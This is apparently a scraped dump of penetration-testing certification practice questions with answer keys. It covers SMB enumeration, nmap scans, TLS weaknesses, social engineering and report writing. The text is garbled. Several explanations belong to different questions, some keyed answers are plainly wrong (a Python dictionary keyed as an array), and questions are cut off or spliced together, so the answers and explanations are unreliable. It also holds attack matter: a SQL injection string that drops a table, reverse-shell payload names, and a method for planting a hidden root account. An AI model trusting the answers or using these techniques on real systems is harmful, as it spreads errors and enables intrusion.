- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 185

After running the enum4linux.pl command, a penetration tester received the following output:

```

=====
| Enumerating Workgroup/Domain on 192.168.100.56 |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
| Session Check on 192.168.100.56 |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
| Getting domain SID for 192.168.100.56 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
| Share Enumeration on 192.168.100.56 |
=====
Sharename Type Comment
-----
print$ Disk Printer Drivers
web Disk File Server
IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020

```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

Answer: D

Explanation:

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

NEW QUESTION 190

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.





Secure System

← → ↻ <https://comptia.org/login.aspx#viewsource>

```
<html>
<head>
<title>Secure Login </title>
</head>
<body>
<meta
content="c2RmZGZnaHNzZmtqbGdoc2Rma2pnaGRzZmpoZGZvaW2aGRmc29pYmp3ZXIndWdm9pb2hzZGd1aWJoaGR1ZmZpZ2hzZDtpYmhhZHNmc291Ymduc3d5ZGI1Z2Zi
bnNkbGtqO2Job3VpYXNpZGZubXM7bGtZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYVVva2JmbGI1Y3Z2Z2JobGFzZwJmaXVhZGZidmxiambGhke3VmZyBuc2pyZ2hzZHVmaG
d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZoz3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csrf-token"/>
<script>
document.write("<OPTION value=1>"*document.location.href.substring(document.location.href.indexOf("=")+16)+"<OPTION>");
</script></script>
<div align="center">
<form action="c:url value='main.do'"method="post">
<div style="margin-top: 200px;margin-bottom: 10px,">
<span style="width: 500px;color: blue;font-size: 30px;font-weight: bold;border-bottom: 1 px solid blue;">Comptia Secure System Login</span>
</div>
<div style="margin-bottom: 5px,">
<span style="width: 100px,">Name</span>
<input style="width: 150px,type="text" name="name" id="name" value="">
<!-- input style="width: 150px,type="text" name="name" id="name" value="admin"-->
</div>
<div><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="">
<!--><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="password" -->
</div>
```

Secure System

← → ↻ <https://comptia.org/login.aspx#viewcookies>

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdctse2ewvqwf4bdcb3v	www.com...	/	Session	41			
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	comptia.o...	/	2019-10-1...	59			
__utmb	361044370.7.9.1508267988443	comptia.o...	/	2017-10-1...	32			
__utmc	36104370	comptia.o...	/	Session	14			
__utmt	1	comptia.o...	/	2017-10-1...	7			
__utmv	36104370. 2=Account%20Type=Not%20Defined=1	comptia.o...	/	2019-10-1...	48			
__utmz	36104370.1508266963.1.1.utmc sr=google utmccn=(organic) utm c...	comptia.o...	/	2018-04-1...	99			
_sp_id.0767	4a84866c6ffff51c.1508266964.1508258019.1508266964.81ff34f7...	comptia.o...	/	2019-10-1...	99			
_sp_ses.0767	*	comptia.o...	/	2017-10-1...	13			

Answer: A

Explanation:

Graphical user interface Description automatically generated

NEW QUESTION 194

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

Answer: B

NEW QUESTION 199

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`
 Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

Answer: C

NEW QUESTION 202

Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

- A. Active scanning
- B. Ping sweep
- C. Protocol reversing
- D. Packet analysis

Answer: A

NEW QUESTION 203

A penetration tester is testing a new API for the company's existing services and is preparing the following script:

```
#!/bin/bash
for each in GET POST PUT TRACE CONNECT OPTIONS;
do
printf "Seach / HTTP/1.1\nHost:www.comptia.org\r\n\r\n" | nc www.comptia.org 80
```

Which of the following would the test discover?

- A. Default web configurations
- B. Open web ports on a host
- C. Supported HTTP methods
- D. Listening web servers in a domain

Answer: C

NEW QUESTION 208

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

Answer: C

NEW QUESTION 210

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

NEW QUESTION 215

During an engagement, a penetration tester found the following list of strings inside a file:

```
3af068faa81326ffe6ca48e2ab36a779
48ec2f4f526303a9ded67938e6ce11c6
9493bf035c534197d9810a5e65a10632
C847b4a2e76ec1f9cbbbe30d2046d5e8
ed225542767a810e6fcee6f640164b140
cfbe1fdd6e6b0c5c9abd8c947f272ef4
c05cbc5a69bcc91f56a7e0a6c391ad79
9ee3564cbf15421ebabc43dcb67949ad
5a2ad0bcb902e20c4efcf057b01050be
4865a2ed25ed18515b7e97beb2b40346
b0236938a6518fc65b72159687e3a27b
9c96354712595ef2ff96675496d3a464
a5ab3f6c6159b85209ea0c186531a49f
9b38816e791f1400245f4c629a503bc8
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack

Answer: B

NEW QUESTION 217

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

Answer: D

NEW QUESTION 221

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnet on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

- A. The timing of the scan
- B. The bandwidth limitations
- C. The inventory of assets and versions



A picture containing treemap chart Description automatically generated

```
import socket
import sys

ports = [21,22]

def port_scan(ip, ports):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
```

Text Description automatically generated

```
for port in ports:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))

    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))

    except socket.error as e:
        print("%s:%s - CLOSED" % (ip, port))

    finally:
        s.close()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Execution requires a target IP address. Exiting...')
        exit(1)
    else:
```

Graphical user interface Description automatically generated



NEW QUESTION 231

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

Answer: D

NEW QUESTION 235

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

Answer: C

NEW QUESTION 237

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

Answer: C

Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

NEW QUESTION 241

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling
- Vulnerability analysis
- Exploitation and post exploitation
- Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

Answer: B

NEW QUESTION 244

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control

system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- > Have a full TCP connection
- > Send a "hello" payload
- > Wait for a response
- > Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run `nmap -Pn -sV --script vuln <IP address>`.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

Answer: C

Explanation:

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. <https://nmap.org>

NEW QUESTION 247

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 248

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. `windows/x64/meterpreter/reverse_tcp`
- B. `windows/x64/meterpreter/reverse_http`
- C. `windows/x64/shell_reverse_tcp`
- D. `windows/x64/powershell_reverse_tcp`
- E. `windows/x64/meterpreter/reverse_https`

Answer: A

Explanation:

A reverse tcp connection is usually used to bypass firewall restrictions on open ports. A firewall usually blocks incoming connections on open ports, but does not block outgoing traffic. `windows/meterpreter/reverse_tcp` allows you to remotely control the file system, sniff, keylog, hashdump, perform network pivoting, control the webcam and microphone, etc.

NEW QUESTION 249

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 253

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

Answer: CF

NEW QUESTION 258

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

- A. After detection of a breach
- B. After a merger or an acquisition
- C. When an organization updates its network firewall configurations
- D. When most of the vulnerabilities have been remediated

Answer: D

NEW QUESTION 259

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 264

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 265

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

Answer: A

NEW QUESTION 268

A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

- A. Nmap -s 445 -Pn -T5 172.21.0.0/16
- B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
- C. Nmap -sV --script=smb* 172.21.0.0/16
- D. Nmap -p 445 -max -sT 172. 21.0.0/16

Answer: C

Explanation:

The best option when stealth is not a concern and the task is time sensitive is to use the command: Nmap -sV --script=smb* 172.21.0.0/16. This command will use version detection and SMB scripts to scan for port 445 on the given IP range. The -sV option will cause Nmap to detect the version of services running on the ports, which is helpful for identifying vulnerabilities, and the --script=smb* option will cause Nmap to run all of the SMB related scripts. The -T4 option can be used to speed up the scan, as it increases the timing probes.

NEW QUESTION 273

A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?

- A. Netcraft
- B. CentralOps
- C. Responder
- D. FOCA

Answer: D

Explanation:

<https://kalilinuxtutorials.com/foca-metadata-hidden-documents/>

NEW QUESTION 275

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

Answer: BC

NEW QUESTION 279

The results of an Nmap scan are as follows:

Starting Nmap 7.80 (<https://nmap.org>) at 2021-01-24 01:10 EST

Nmap scan report for (10.2.1.22) Host is up (0.0102s latency).

Not shown: 998 filtered ports Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <...>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

Answer: BD

Explanation:

<https://www.netscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

NEW QUESTION 282

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: B

NEW QUESTION 286

Given the following code:

```
systems = {
    "10.10.10.1" : "Windows 10",
    "10.10.10.2" : "Windows 10",
    "10.10.10.3" : "Windows 2016",
    "10.10.10.4" : "Linux"
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

Answer: C

NEW QUESTION 291

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

Answer: C

Explanation:

<https://www.pcicomplianceguide.org/faq/#25>

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

NEW QUESTION 295

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

Answer: D

NEW QUESTION 297

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manager/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

Answer: D

NEW QUESTION 302

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

Answer: B

NEW QUESTION 303

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

Answer: C

Explanation:

<https://thepacketgeek.com/scapy/building-network-tools/part-09/>

NEW QUESTION 305

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

- A. Pick a lock.
- B. Disable the cameras remotely.
- C. Impersonate a package delivery worker.
- D. Send a phishing email.

Answer: C

NEW QUESTION 309

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

Answer: C

NEW QUESTION 312

A penetration tester has prepared the following phishing email for an upcoming penetration test:

```
Coworkers,

A security incident recently occurred on company property.

All employees are required to abide by company policies at all times.
To ensure maximum compliance, all employees are required to sign the
Security Policy Acceptance form (on-line here) before the end of this
month.

Please reach out if you have any questions or concerns.

Human Resources
```

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Familiarity and likeness
- B. Authority and urgency
- C. Scarcity and fear
- D. Social proof and greed

Answer: B

NEW QUESTION 315

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State  Service  Version
22/tcp    open  ssh      OpenSSH 6.6.1p1
53/tcp    open  domain   dnsmasq 2.72
80/tcp    open  http     lighttpd
443/tcp   open  ssl/http  httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 319

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

Answer: D

Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.
<https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation>

NEW QUESTION 324

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

Answer: D

NEW QUESTION 329

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

- A. ROE
- B. SLA
- C. MSA
- D. NDA

Answer: D

NEW QUESTION 330

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

Answer: C

NEW QUESTION 331

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

NEW QUESTION 333

Which of the following is a rules engine for managing public cloud accounts and resources?

- A. Cloud Custodian
- B. Cloud Brute
- C. Pacu
- D. Scout Suite

D. Ubuntu

Answer: C

NEW QUESTION 348

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

Answer: B

NEW QUESTION 351

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. `nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan`
- B. `nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan`
- C. `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan`
- D. `nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan`

Answer: C

NEW QUESTION 356

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. `tcpdump -i eth01 arp and arp[6:2] == 2`
- B. `arp -s 192.168.1.63 60-36-DD-A6-C5-33`
- C. `ipconfig /all findstr /v 00-00-00 | findstr Physical`
- D. `route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1`

Answer: B

NEW QUESTION 358

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

Answer: A

NEW QUESTION 359

Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

- A. The IP address is wrong.
- B. The server is unreachable.
- C. The IP address is on the blacklist.
- D. The IP address is on the allow list.

Answer: C

Explanation:

The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blacklist. Blacklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blacklist, the scanning process will be blocked.

NEW QUESTION 360

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

Answer: A

Explanation:

The systems administrator and the technical staff would be more interested in the technical aspect of the findings

NEW QUESTION 362

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

NEW QUESTION 365

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #
- E. #!

Answer: E

NEW QUESTION 367

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

Answer: D

Explanation:

SMTP is a protocol associated with mail servers. Therefore, for a penetration tester, an open relay configuration can be exploited to launch phishing attacks.

NEW QUESTION 369

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